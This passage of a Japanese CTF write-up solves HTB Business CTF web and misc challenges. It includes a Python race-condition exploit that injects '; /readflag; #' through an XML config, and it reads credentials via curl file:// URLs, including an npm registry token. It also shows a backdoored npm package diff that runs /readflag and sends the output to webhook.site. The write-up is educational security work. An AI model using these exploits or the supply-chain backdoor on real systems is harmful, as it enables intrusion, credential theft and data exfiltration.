<?php spl_autoload_register(function ($name) { $parts = explode('\\', $name); $className = array_pop($parts); if (preg_match('/Controller$/', $name)) { $name = 'controllers/' . $name; } if (preg_match('/Model$/', $name)) { $name = 'models/' . $name; } $file = $name . '.php'; if (is_file($file)) { require_once $file; } }); $database = new Database('localhost', 'beluga', 'beluga', 'magicom'); $database->connect(); $router = new Router; $router->get('/', 'HomeController@index'); $router->get('/home', 'HomeController@index'); $router->get('/product', 'ProductViewController@index'); $router->get('/addProduct', 'AddProductController@index'); $router->post('/addProduct', 'AddProductController@add'); $router->get('/info', function(){ return phpinfo(); }); $router->resolve(); ?>
Router
というクラスは Router.php
で定義されています。既存のライブラリ等を使っているわけではなく、自前で実装しているようでした。リクエストされたパスをもとにメソッドを呼び出しており、そのために $controller = new $callback[0]();
, $controller->{$callback[1]}();
のようにかなり危ういことをやっていそうに思えます。
しかしながら、isset($this->routes[$method][$path])
というチェックがあるため、index.php
において $router->get
等で指定された関数やメソッドしか呼び出すことはできません。
<?php class Router { private $routes = []; public function get($path, $callback) { $this->routes['GET'][$path] = $callback; } public function post($path, $callback) { $this->routes['POST'][$path] = $callback; } public function view($view, $data = []) { require_once 'views/' . $view . '.php'; } public function resolve() { $method = $_SERVER['REQUEST_METHOD']; $path = parse_url($_SERVER["REQUEST_URI"], PHP_URL_PATH); if (isset($this->routes[$method][$path])) { $callback = $this->routes[$method][$path]; if (is_callable($callback)) { return call_user_func($callback); } else { $callback = explode('@', $callback); $controller = new $callback[0](); $controller->{$callback[1]}(); return; } } http_response_code(404); $this->view("404"); } }
ちなみに、Dockerfile
ではエントリーポイントは /entrypoint.sh
とされています。このシェルスクリプトは次のとおりです。MySQLを立ち上げた後に、/www/cli/cli.php
で /www/procucts.sql
というSQLのMySQLへのインポートを行い、そしてSupervisorでnginx, php-fpmを立ち上げています。
#!/bin/ash # Secure entrypoint chmod 600 /entrypoint.sh # Initialize & start MariaDB mkdir -p /run/mysqld chown -R mysql:mysql /run/mysqld mysql_install_db --user=mysql --ldata=/var/lib/mysql mysqld --user=mysql --console --skip-name-resolve --skip-networking=0 & # Wait for mysql to start while ! mysqladmin ping -h'localhost' --silent; do echo "not up" && sleep .2; done php /www/cli/cli.php -c /www/cli/conf.xml -m import -f /www/products.sql rm /www/products.sql # Start supervisord services /usr/bin/supervisord -c /etc/supervisord.conf
cli/cli.php
は次のとおりです。コマンドライン引数から受け取った設定ファイル(XML)のパスをもとに、MySQLへSQLをインポートしたり、逆にMySQLのデータをエクスポートしたりできるようなコマンドライン用のプログラムとなっています。
<?php error_reporting(-1); if (!isset( $_SERVER['argv'], $_SERVER['argc'] ) || !$_SERVER['argc']) { die("This script must be run from the command line!"); } function passthruOrFail($command) { passthru($command, $status); if ($status) { exit($status); } } // … function getConfig($name) { $configFilename = isConfig(getCommandLineValue("--config", "-c")); if ($configFilename) { $dbConfig = new DOMDocument(); $dbConfig->load($configFilename); $var = new DOMXPath($dbConfig); foreach ($var->query('/config/db[@name="'.$name.'"]') as $var) { return $var->getAttribute('value'); } return null; } return null; } // … function import($filename, $username, $password, $database) { passthruOrFail("mysql -u$username -p$password $database < $filename"); } // … $username = getConfig("username"); $password = getConfig("password"); $database = getConfig("database"); $mode = getCommandLineValue("--mode", "-m"); if($mode) { switch ($mode) { case 'import': $filename = getCommandLineValue("--filename", "-f"); if(file_exists($filename)) { import($filename, $username, $password, $database); } else { die("No file imported!"); } break; case 'backup': backup(generateFilename(), $username, $password, $database); break; case 'healthcheck': healthcheck(); break; default: die("Unknown mode specified."); break; } } ?>
脆弱に見えて実は脆弱でない画像のアップロードフォーム
画像のアップロード処理を見ていきます。$router->post('/addProduct', 'AddProductController@add');
に対応するメソッドの定義は次のとおりです。まず ImageModel
というクラスの isValid
メソッドによって、アップロードされたファイルが妥当な画像か検証しています。
もしアップロードされたファイルが画像であれば、その画像の image/png
や image/jpeg
のようなMIMEタイプをもとに拡張子を決定して、ランダムな16桁のhexと結合したものをファイル名として uploads/
下に保存しています。
<?php // … public function add() { if (empty($_FILES['image']) || empty($_POST['title']) || empty($_POST['description'])) { header('Location: /addProduct?error=1&message=Fields can\'t be empty.'); exit; } $title = $_POST["title"]; $description = $_POST["description"]; $image = new ImageModel($_FILES["image"]); if($image->isValid()) { $mimeType = mime_content_type($_FILES["image"]['tmp_name']); $extention = explode('/', $mimeType)[1]; $randomName = bin2hex(random_bytes(8)); $secureFilename = "$randomName.$extention"; if(move_uploaded_file($_FILES["image"]["tmp_name"], "uploads/$secureFilename")) { $this->product->insert($title, $description, "uploads/$secureFilename"); header('Location: /addProduct?error=0&message=Product added successfully.'); exit; } } else { header('Location: /addProduct?error=1&message=Not a valid image.'); exit; } } // …
ImageModel
の定義は次のとおりです。以下の3点をチェックしています:
- オリジナルのファイル名について、その拡張子が
jpeg
,jpg
,png
のいずれかである mime_content_type
の返り値について、image/jpeg
,image.jpg
,image/png
のいずれかであるgetimagesize
で画像としてパース可能である
<?php class ImageModel { public function __construct($file) { $this->file = $file; } public function isValid() { $allowed_extensions = ["jpeg", "jpg", "png"]; $file_extension = pathinfo($this->file["name"], PATHINFO_EXTENSION); print_r($this->file); if (!in_array($file_extension, $allowed_extensions)) { return false; } $allowed_mime_types = ["image/jpeg", "image/jpg", "image/png"]; $mime_type = mime_content_type($this->file['tmp_name']); if (!in_array($mime_type, $allowed_mime_types)) { return false; } if (!getimagesize($this->file['tmp_name'])) { return false; } return true; } } ?> …
まず phar://(すでにアップロードしたファイルのパス)/hoge
のようなパスを mime_content_type
等のファイルパスを指定できる関数に与え、Pharを使ってInsecure Deserializationに持ち込むことを考えます。しかしながら、mime_content_type
や getimagesize
に渡されるファイルのパスは $this->file['tmp_name']
と一時ファイルのパスになっており、そのパスは自由に操作できないため、既存のファイルについてPharとして読み込ませるということはできそうにありません。
そもそも、Dockerfile
を確認するとわかるように、この問題で使われているPHPのバージョンは8.2です。PHP 8以降では、Pharアーカイブが与えられても自動でデシリアライゼーションはされないようになっていたのでした。
JPEGやPNGと、PHPコードのpolyglot*19をアップロードするにしても、結局保存される際の拡張子は jpeg
か png
のいずれかになります。nginx.conf
を見ても、拡張子が php
でなければPHPコードとしては実行してくれないという設定になっています。
# … location ~ \.php$ { fastcgi_pass unix:/run/php-fpm.sock; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } # …
実はCLI以外からも呼び出せる cli.php
画像のアップロード処理に脆弱性がないならどこに脆弱性があるのか、と別の問題も見つつしばらく悩んでいました。わざわざ /info
で phpinfo
が確認できることを思い出し、ではデフォルトの設定と何が変わっているのか、そもそも変更は加えられているのかという疑問が浮かびます。
Dockerfile
から COPY config/php.ini /etc/php82/php.ini
という行を取り除いて、デフォルトの設定が使われるようにします。出力された phpinfo
のdiffを取ってみる*20と、register_argc_argv
というディレクティブがオンになっていることに気づきました。
-<tr><td class="e">register_argc_argv</td><td class="v">Off</td><td class="v">Off</td></tr> +<tr><td class="e">register_argc_argv</td><td class="v">On</td><td class="v">On</td></tr>
register_argc_argv
ディレクティブは argc
と argv
を利用できるようにするためのもののようですが、「これらにはGETの情報が格納されます」という記述が気になります。
そういえば、cli/cli.php
では以下のような処理でコマンドライン以外から実行できないようになっていたのでした。cli/cli.php
はドキュメントルート下にあるため、/cli/cli.php
でアクセスできますが、たしかにWebからアクセスした場合には "This script must be run from the command line!" と怒られます。しかし、「GETの情報が格納され」るということが、$_SERVER['argv']
にクエリパラメータの値が格納されるという意味であれば、話は違ってきます。
<?php error_reporting(-1); if (!isset( $_SERVER['argv'], $_SERVER['argc'] ) || !$_SERVER['argc']) { die("This script must be run from the command line!"); } // …
PHPのソースコードを確認し、まず register_argc_argv
を参照している箇所を見てみます。たしかに、このディレクティブが有効であればクエリ文字列から argv
を取り出していそうです。argv
をパースする処理では、+
で区切っていることが確認できました。
cli/cli.php
の頭に var_dump($_SERVER['argv'])
を追加してみます。/cli/cli.php?hoge+fuga
にアクセスすると、$_SERVER['argv']
に ['hoge', 'fuga']
という配列が入っていると確認できました。もちろん !isset( $_SERVER['argv'], $_SERVER['argc'] ) || !$_SERVER['argc']
は偽ですから、以降のMySQLへのインポートやエクスポートの処理も呼び出せるはずです。
cli.php
に存在するOSコマンドインジェクション
まさか cli/cli.php
がWebから叩けるとは思っていなかったので、どのような処理が行われているかちゃんとは読んでいませんでした。これで何ができるか確認していきます。
オプションを取得する関数として getCommandLineValue
と getConfig
が存在していますが、前者はコマンドラインオプションから取得するのに対して、後者は --config
または -c
というコマンドラインオプションで指定されたXMLファイルから読み込み、取得しています。
<?php // … function getConfig($name) { $configFilename = isConfig(getCommandLineValue("--config", "-c")); if ($configFilename) { $dbConfig = new DOMDocument(); $dbConfig->load($configFilename); $var = new DOMXPath($dbConfig); foreach ($var->query('/config/db[@name="'.$name.'"]') as $var) { return $var->getAttribute('value'); } return null; } return null; } // … $username = getConfig("username"); $password = getConfig("password"); $database = getConfig("database"); $mode = getCommandLineValue("--mode", "-m"); if($mode) { switch ($mode) { case 'import': $filename = getCommandLineValue("--filename", "-f"); if(file_exists($filename)) { import($filename, $username, $password, $database); } else { die("No file imported!"); } break; case 'backup': backup(generateFilename(), $username, $password, $database); break; case 'healthcheck': healthcheck(); break; default: die("Unknown mode specified."); break; } }
データベースのインポートやエクスポートはOSコマンドの実行で実現されています。escapeshellarg
でエスケープしているわけではないので、ユーザ名やパスワード等のXMLから取得されたオプションを任意のものにできれば、OSコマンドインジェクションができそうです。
<?php // … function backup($filename, $username, $password, $database) { $backupdir = "/tmp/backup/"; passthruOrFail("mysqldump -u$username -p$password $database > $backupdir$filename"); } function import($filename, $username, $password, $database) { passthruOrFail("mysql -u$username -p$password $database < $filename"); } // …
/cli/cli.php?-c+hoge.xml
のように argv
から設定の読み込み先であるXMLファイルのパスを指定できます。しかしながら、任意の内容のXMLを用意しようにも、先ほど確認したように、我々はPNGもしくはJPEGしかアップロードできないのでした。
これらの画像とXMLのpolyglotを書くことを考えますが、mime_content_type
や getimagesize
のチェックを通るようにしたければ、PNGでは必ずnull文字が入ってしまいますし、JPEGでも最低限 FF D8 FF C0
の4バイトが必要で、その後にXMLを続けても "Start tag expected, '<' not found" と怒られてしまいます。
/tmp # xxd test.jpg 00000000: ffd8 ffc0 3c74 6573 743e 3c2f 7465 7374 ....<test></test 00000010: 3e0a >. /tmp # php -a Interactive shell php > $d = new DOMDocument(); $d->load('test.jpg'); PHP Warning: DOMDocument::load(): Start tag expected, '<' not found in /tmp/test.jpg, line: 1 in php shell code on line 1
どうにかできないかと思ったところで、phpinfo
が確認できることを思い出しました。phpinfo
ができるページに対して無理やりファイルをアップロードしてやると、$_FILES
の内容をダンプしてくれるセクションで、一時的にアップロードされたファイルが保存されているパスを出力してくれます。
これとLFIをあわせてRCEに持ち込む手法があります。同じ要領で、phpinfo
に対してXMLをアップロードして、一時ファイルのパスを得ることができ次第、このファイルが削除される前に /cli/cli.php?-c+(一時ファイルのパス)+…
を叩くことで、XMLを読み込ませることができるのではないでしょうか。
実は、ImageModel
クラスの isValid
メソッドには print_r($this->file)
という処理があります。ここでも同じように一時ファイルのパスが得られるはずです。ユーザ名に hoge; /readflag; #
という文字列を含むXMLをアップロードし、これを設定ファイルとして /cli/cli.php
に読み込ませつつ、データベースのバックアップをさせます。うまくいけば、これでOSコマンドインジェクションが発生するはずです。
import socket import re import concurrent.futures import requests HOST, PORT = 'localhost', 1337 TARGET = f'{HOST}:{PORT}' BASE = f'http://{TARGET}' PAYLOAD_TEMPLATE = b'''------WebKitFormBoundaryUOUUufnDELFTGIMt Content-Disposition: form-data; name="title" a ------WebKitFormBoundaryUOUUufnDELFTGIMt Content-Disposition: form-data; name="description" b ------WebKitFormBoundaryUOUUufnDELFTGIMt Content-Disposition: form-data; name="image"; filename="test.jpg" Content-Type: image/jpeg PAYLOAD ------WebKitFormBoundaryUOUUufnDELFTGIMt-- ''' REQUEST_TEMPLATE = b'''POST /addProduct HTTP/1.1 Host: HOST Content-Length: LENGTH Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUOUUufnDELFTGIMt Connection: close BODY''' def generate_template(data): return PAYLOAD_TEMPLATE.replace(b'PAYLOAD', data).replace(b'\n', b'\r\n') def generate_request(data): body = PAYLOAD_TEMPLATE.replace(b'PAYLOAD', data).replace(b'\n', b'\r\n') return REQUEST_TEMPLATE.replace(b'HOST', TARGET.encode()).replace(b'LENGTH', str(len(body)).encode()).replace(b'BODY', body) def go(): i = 0 while True: if i % 100 == 0: print(f'[debug] {i}') sock = socket.create_connection((HOST, PORT)) sock.send(generate_request(b'''<config> <db name="username" value="hoge; /readflag; #"/> <db name="password" value="root"/> <db name="database" value=""/> <db name="poyo" value="LOOOONG"/> </config>'''.replace(b'LOOOONG', b'A' * 0x10000))) resp = sock.recv(1024) pat = rb'(/tmp/php[^\n]+)\n' while not b'/tmp/php' in resp: resp += sock.recv(1024) tmp_path = re.findall(pat, resp)[0].decode() r = requests.get(f'{BASE}/cli/cli.php?-m+backup+-c+{tmp_path}') if r.text != '': print(i, r.text) break sock.close() i += 1 with concurrent.futures.ThreadPoolExecutor() as executor: for _ in range(5): executor.submit(go)
HTB Business CTFではチームごとに問題サーバのインスタンスが立てられるようになっています。インスタンスのIPアドレスを確認すると、東京どころかシンガポールですらなく、イギリスはロンドンに位置しているようです。Race Conditionを利用する問題であるのに、これだけ距離があると厳しいです。少しでも距離を縮めるべく同じロンドンに位置するVPSを借り*21、先ほどのスクリプトを実行すると、フラグが得られました。
HTB{H4ck1ng_Cl1_4pps_fr0m_W3bs1t3_n0w_wh4t?_71fa12236fd019be2f0e5336297512a1}
cli.php
がドキュメントルート下にあり、また register_argc_argv
ディレクティブが On
になっているために、Webからでも $_SERVER['argv']
が操作可能であることに気づくまでにかなりの時間を費やしてしまいました。気づいてからは数時間で解くことができましたが、Insecure Deserializationに固執してしまい、ここで苦戦してしまったことに反省です*22。
spl_autoload_register
でInsecure DeserializationからのRCEを期待させつつも、結局なんでもありませんでした。気になって作問者が想定していた解法を確認したところ、cli.php
で細工した設定ファイルを読み込ませるパートの前に、Insecure Deserializationのためではないものの、本来はPharを悪用するパートがあったようでした。
[Misc 350] Prison Pipeline (41 solves)
One of our crew members has been captured by mutant raiders and is locked away in their heavily fortified prison. During an initial reconnaissance, the crew managed to gain access to the prison's record management system. Your mission: exploit this system to infiltrate the prison's network and disable the defenses for the rescuers. Can you orchestrate the perfect escape and rescue your comrade before it's too late?
添付ファイル: misc_prison_pipeline.zip
問題の概要
ソースコードが与えられています。まずこの問題の目的を確認していきます。Dockerfile
には次のようなコマンドがあり、/readflag
というバイナリを実行する必要のあることがわかります。
# Copy flag USER root COPY flag.txt /root/flag # Add readflag binary COPY config/readflag.c / RUN gcc -o /readflag /readflag.c && chmod 4755 /readflag && rm /readflag.c
どのようなサービスか確認するため、Dockerイメージを作成し、コンテナを立ち上げます。どうやらこれは囚人を管理するWebアプリのようです。各囚人の情報はYAML形式で保存されているらしく、画面右のメニューから囚人を検索したり、囚人をクリックして対応するYAMLを確認したりできます。
ページ下部には新たな囚人の情報をインポートできるフォームもあります。直接ファイルをアップロードするのではなく、URLを指定することで、このサーバがそのURLで提供されているYAMLを取りに行ってインポートしてくれるようです。
nginx.conf
を見ると、どうやらデフォルトでこのWebアプリにアクセスできるほか、同じ1337/tcpで registry.prison-pipeline.htb
というホスト名でアクセスすることで、また別のWebアプリにアクセスできるようだとわかります。
# … server { listen 1337; server_name registry.prison-pipeline.htb; location / { proxy_pass http://localhost:4873/; proxy_set_header Host $host:$server_port; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header X-NginX-Proxy true; } } server { listen 1337 default_server; server_name _; location / { proxy_pass http://localhost:5000/; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Port $server_port; proxy_set_header X-Forwarded-Proto $scheme; } } # …
/etc/hosts
に 127.0.0.1 registry.prison-pipeline.htb
と書き加え、http://registry.prison-pipeline.htb:1337
にアクセスします。どうやらVerdaccioというNode.js向けのプライベートなnpmレジストリが動いているようです。
hackthebox
というユーザが作った prisoner-db
というパッケージだけがあるようです。また、npm adduser --registry …
しても user registration disabled
と返ってくることから、ユーザ登録は現在閉じられているようです。
4873/tcp(デフォルトでアクセスできるWebアプリ)のソースコードを見ていきます。主要な処理は次の通り application/routes/index.js
で定義されています。非常にシンプルで、ほとんどの処理は prisoner-db
という先ほど登場したプライベートなnpmレジストリのパッケージ側で定義されているようです。
/api/prisoners/import
はURLを指定して外部からYAMLをインポートするAPIですが、特にURLが不正なものでないかのチェック等はここでは行われていないようです。
const express = require('express'); const router = express.Router({caseSensitive: true}); const prisonerDB = require('prisoner-db'); const db = new prisonerDB('/app/prisoner-repository'); const response = data => ({ message: data }); router.get('/', (req, res) => { return res.render('index.html'); }); router.get('/api/prisoners', async (req, res) => { let prisoners = db.getPrisoners(); return res.json(prisoners); }); router.get('/api/prisoners/:id', async (req, res) => { const { id } = req.params; let prisoner = db.getPrisoner(id); return res.json(prisoner); }); router.post('/api/prisoners/import', async (req, res, next) => { const { url } = req.body; if (!url) { return res.status(400).json(response('Missing URL parameter')); }; try { let prisoner_id = await db.importPrisoner(url); return res.json({ 'message': 'Prisoner data imported successfully', 'prisoner_id': prisoner_id }); } catch(e) { console.error(e); return res.status(500).json(response('Failed to import prisoner data')); } }); module.exports = router
prisoner-db
のソースコードを確認します。特に気になる部分のみを抜き出していきます。まず、YAMLのパースには js-yaml
を使っていることがわかります。3年以上更新されていないパッケージではあるものの、デフォルトでは関数オブジェクトはロードされないようですし、また package.json
を見ると最新版の4.1.0を使っているようで、既知の脆弱性はないように思えます。
const fs = require('fs'); const yaml = require('js-yaml'); const CurlWrapper = require('./curl'); const curl = new CurlWrapper(); // …
メインのWebアプリから呼び出されている importPrisoner
は次のとおりです。同じディレクトリにある curl.js
を使って指定したURLからデータを持ってきた後に、その内容を (ランダムなID).yaml
に保存しています。curl.js
は node-libcurl
をラップした自前のライブラリですが、特に面白みはないので省略します。
// … addPrisoner(prisoner) { this.metadata.prisoner_ids.push(prisoner.id); this.writeJSON(this.repository + '/index.json', this.metadata); this.writeYAML(this.repository + '/' + prisoner.id + '.yaml', prisoner.data); return true; } // … async importPrisoner(url) { try { const getResponse = await curl.get(url); const xmlData = getResponse.body; const id = `PIP-${Math.floor(100000 + Math.random() * 900000)}`; const prisoner = { id: id, data: xmlData }; this.addPrisoner(prisoner); return id; } catch (error) { console.error('Error importing prisoner:', error); return false; } } // … writeYAML(path, data) { try { fs.writeFileSync(path, data); } catch (e) { return false; } }
その他、どのようなサービスが存在しているか確認するため、supervisord.conf
も見てみます。メインのWebアプリ、プライベートなnpmレジストリ、PM2のほか、cronjob
と名付けられた(本物のcron jobではない)スクリプトがあるようです。
… [program:cronjob] directory=/app user=node environment=HOME=/home/node,PM2_HOME=/home/node/.pm2,PATH=%(ENV_PATH)s command=/home/node/cronjob.sh autostart=true logfile=/dev/null logfile_maxbytes=0
cronjob.sh
は次のような内容です。30秒ごとに prisoner-db
パッケージの更新がないか、プライベートなnpmレジストリへ確認しに行き、もし更新があればアップデートした上でメインのWebアプリを再起動しています。このパッケージを更新して、悪意のあるコードを仕込んでみろと言わんばかりの挙動です。
#!/bin/bash # Secure entrypoint chmod 600 /home/node/.config/cronjob.sh # Set up variables REGISTRY_URL="http://localhost:4873" APP_DIR="/app" PACKAGE_NAME="prisoner-db" cd $APP_DIR; while true; do # Check for outdated package OUTDATED=$(npm --registry $REGISTRY_URL outdated $PACKAGE_NAME) if [[ -n "$OUTDATED" ]]; then # Update package and restart app npm --registry $REGISTRY_URL update $PACKAGE_NAME pm2 restart prison-pipeline fi sleep 30 done
fileスキームを使ってプライベートなnpmレジストリの認証情報を奪い取り、侵害する
YAMLのインポートにcurlが使われていたことに着目します。file
スキームを使うことで、ローカルのファイルを読み取ることはできないでしょうか。試しに file:///etc/passwd
というURLでインポートさせてみたところ、以下のように /etc/passwd
を読み取ることができました。
では、これでどんなファイルを読めばよいでしょうか。このメインのWebアプリとプライベートなnpmレジストリは同じDockerコンテナに同居しています。npmレジストリから、あるいはnpmレジストリへのアクセスに使われている認証情報等がもしファイルとして保存されているのであれば、それを奪い取ることはできないでしょうか。
docker exec -it … bash
でDockerコンテナに入り、めぼしいファイルがないか探します。まず、npmレジストリから参照されている htpasswd
というファイルが目に入りました。
root@66a792e1cde4:/home/node# cat /home/node/.config/verdaccio/htpasswd registry:zIp.5R/uqNp1Q:autocreated 2024-05-19T04:41:20.905Z
パスワードのフォーマットについて調べてみると、verdaccio-htpasswd
というパッケージが見つかりました。どうやらデフォルトではcrypt(descrypt)を使うようです。
npmレジストリの初期設定を行うための setup-registry.sh
では、次のように英大文字小文字と数字から32文字ランダムに生成し、それを prisoner-db
というパッケージを公開するユーザのパスワードとしています。しかしながら、descryptを使うのであれば頭の8文字しか使われないはずです。
# … NPM_USERNAME="registry" NPM_EMAIL="registry@prison-pipeline.htb" NPM_PASSWORD=$(< /dev/urandom tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1) # … # Add registry user /usr/bin/expect <<EOD spawn npm adduser --registry $REGISTRY_URL expect { "Username:" {send "$NPM_USERNAME\r"; exp_continue} "Password:" {send "$NPM_PASSWORD\r"; exp_continue} "Email: (this IS public)" {send "$NPM_EMAIL\r"; exp_continue} } EOD # …
本物の問題サーバを立ち上げて、file:///home/node/.config/verdaccio/htpasswd
をインポートさせることでパスワードのハッシュ値を手に入れます。hashcat.exe -m 1500 -a 3 -1 ?l?d?u descrypt.hash ?1?1?1?1?1?1?1?1
というようなオプションによって、hashcatでパスワードをクラックすることを考えます。しかしながら、流石に 62^8
通りは(競技時間が96時間であることを考えると一応現実的ではあるものの)時間がかかりすぎるようでした。作問者が意図したものかは知りませんが、これは我々を惑わせるだけのrabbit holeでしょうから別のアプローチを考えます。
… Session..........: hashcat Status...........: Running Hash.Mode........: 1500 (descrypt, DES (Unix), Traditional DES) Hash.Target......: xh4mv7KP9bcvg Time.Started.....: Sun May 19 17:22:32 2024 (1 min, 24 secs) Time.Estimated...: Tue May 21 19:32:01 2024 (2 days, 2 hours) Kernel.Feature...: Pure Kernel Guess.Mask.......: ?1?1?1?1?1?1?1?1 [8] Guess.Charset....: -1 ?l?d?u, -2 Undefined, -3 Undefined, -4 Undefined Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 1209.2 MH/s (7.95ms) @ Accel:1 Loops:1024 Thr:256 Vec:1 Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new) Progress.........: 102241124352/218340105584896 (0.05%) Rejected.........: 0/102241124352 (0.00%) …
どこか別のファイルにプライベートなnpmレジストリへアクセスするための認証情報等が保存されていないでしょうか。もう少し探索を続けます。すると、/home/node/.npmrc
にアクセスに使えそうなトークンが見つかりました。
root@aae28fe33ecd:/home/node# cat /home/node/.npmrc //localhost:4873/:_authToken="ZjdiMWVjOGVhMmIyZjQ3MTk1YmMxMTE4OTY1MWNmYjY6M2IwYTBmOGEzNjgzYTdiZWM1NTc5ZmU4ODY0MjJhY2Y3YWFjYjM1OGZjNjk1NDgxYjI4OTg0ZWM0NzE1MDZhNjI4NWE3YTVjMjk1Zjc0YTUxZA=="
これで、悪意のあるコードを加えた prisoner-db
を公開し、メインのWebアプリにそれを読み込ませることができるはずです。次のように、prisoner-db
の index.js
に /readflag
の実行結果を外部に送信する処理を追加し、そして package.json
のバージョンを上げます。
$ git diff diff --git a/index.js b/index.js index dde627f..a5d2043 100644 --- a/index.js +++ b/index.js @@ -4,6 +4,10 @@ const CurlWrapper = require('./curl'); const curl = new CurlWrapper(); +const cp = require('child_process'); +const flag = cp.execSync('/readflag'); +fetch('https://webhook.site/…?' + flag); + /** * Database interface for prisoners of Prison-Pipeline. * @class Database diff --git a/package.json b/package.json index 1e22df2..8642e73 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "prisoner-db", - "version": "1.0.0", + "version": "1.0.1", "description": "Database interface for prisoners of Prison-Pipeline.", "main": "index.js", "scripts": {
メインのWebアプリで file:///home/node/.npmrc
をインポートして得られたトークンを自身の ~/.npmrc
に書き加え、以下のOSコマンドでパッケージを更新します。
$ REGISTRY_URL="http://registry.prison-pipeline.htb:1337" $ npm publish --registry $REGISTRY_URL
しばらく待つと、フラグが webhook.site
に飛んできました。
HTB{pr1s0n_br34k_w1th_supply_ch41n!_ad1a74832b0e528f39d79098bffbf99c}
この問題も我々がfirst bloodを取りました。サプライチェーンへの攻撃をテーマとしており、プライベートなnpmレジストリのパッケージを侵害するためにはどのような情報が必要か、認証情報を手に入れた後でどのようなことをすればそのパッケージを利用しているサービスを侵害できるかを考える過程が勉強になる問題でした。
おわりに
本記事では、HTB Business CTFについてご紹介した後に、Web, Miscの2カテゴリから出題された6問の解法について解説しました。この記事を通して、楽しい競技であったことが伝わったのであれば幸いです。今後、本ブログでほかのLAC SeaParadiseメンバーからもwriteupが公開される予定です。お楽しみに。
*1:ラック → ラッコ → 鳥羽水族館 → 伊勢シーパラダイスという連想から名付けました。これはとりあえずのプレースホルダとして後から変えるつもりでしたが、そのままチーム名になりました
*2:私も以前CTFの賞品としてHTBのVIPサブスクリプションをいただいたのを受けて挑戦したことがありますが、当然ながら普段のCTFとは毛色がまったく違うのもあり、Hackerになったところで好みの問題から一度やめてしまいました。今回Fullpwn(Boot2Root)問でほとんど貢献できなかったことが悔しかったのもあり、いずれまた挑戦してみたいと思っています
*3:会社のメールアドレスで登録したアカウントでなければならないという意味ではなく、このCTFへのサインアップ時に追加で会社のメールアドレスを聞かれるということでした
*4:たとえば、複数の国・地域にまたがって展開している企業において、現地法人が単独で出るというような場合であれば問題ないというような例外はあります
*5:「ある程度」がどの程度かはご想像にお任せします
*6:特に理不尽な問題をこう呼びます
*7:「問」でなく「フラグ」単位で数えているのは、Fullpwnでは1問あたりuser.txtとroot.txtの2つのフラグがあるためです
*8:解けるメンバーを社内で探すというアプローチもあります
*9:このほかにも問題を解いていましたが、流石に長くなりすぎるので省略します。ご寛恕ください…
*10:ただし、Fullpwnカテゴリ等の配布しづらい問題は解法のみが公開されています
*11:Lexington, East Boston, Logan International Airportといった地名があることから、今プレイヤーはFallout 4の連邦北西部にいるのでしょう
*12:現実はそうそう上手くはいかないようで
*13:全チームの中で最初にその問題を解くことをこう言います
*14:どのような事情があったかは知りませんが、ホワイトボックス問としたのは英断だと思います
*15:RANDOMは0から32767までのランダムな整数を返します。ユーザ名もパスワードも同じRANDOMの値から生成されていればブルートフォースで特定できたのになあと思いましたが、今回は違います。ネットワーク越しの1073741824通りのブルートフォースは現実的ではありません
*16:不思議な処理ですが、JWTを使いつつもセッションを失効できるようにしたいという意図でしょう
*17:私なら抜け道を防いでQuineを書く問題にします
*18:FO:NVは私も好きな作品です。トップページではMr.ハウスに出迎えられました
*19:といっても、PHPはかなり自由なのでPNGのtEXtチャンクに仕込んだり、IENDチャンクより後ろに置く程度で十分です
*20:わざわざ/infoでHTML版のphpinfoを確認せずとも、php.iniを比較すればよかったなと解いてから気づきました
*21:6月に0.01 USDの請求が来るはずです
*22:FO:NVのDLC「Dead Money」の「しかし難しいのは、その場所を見つけることではない… 手放すこと、なのだ…」は至言だと思います。もっとも、Dead Moneyのストーリーは好きですが、二度と遊びたくありません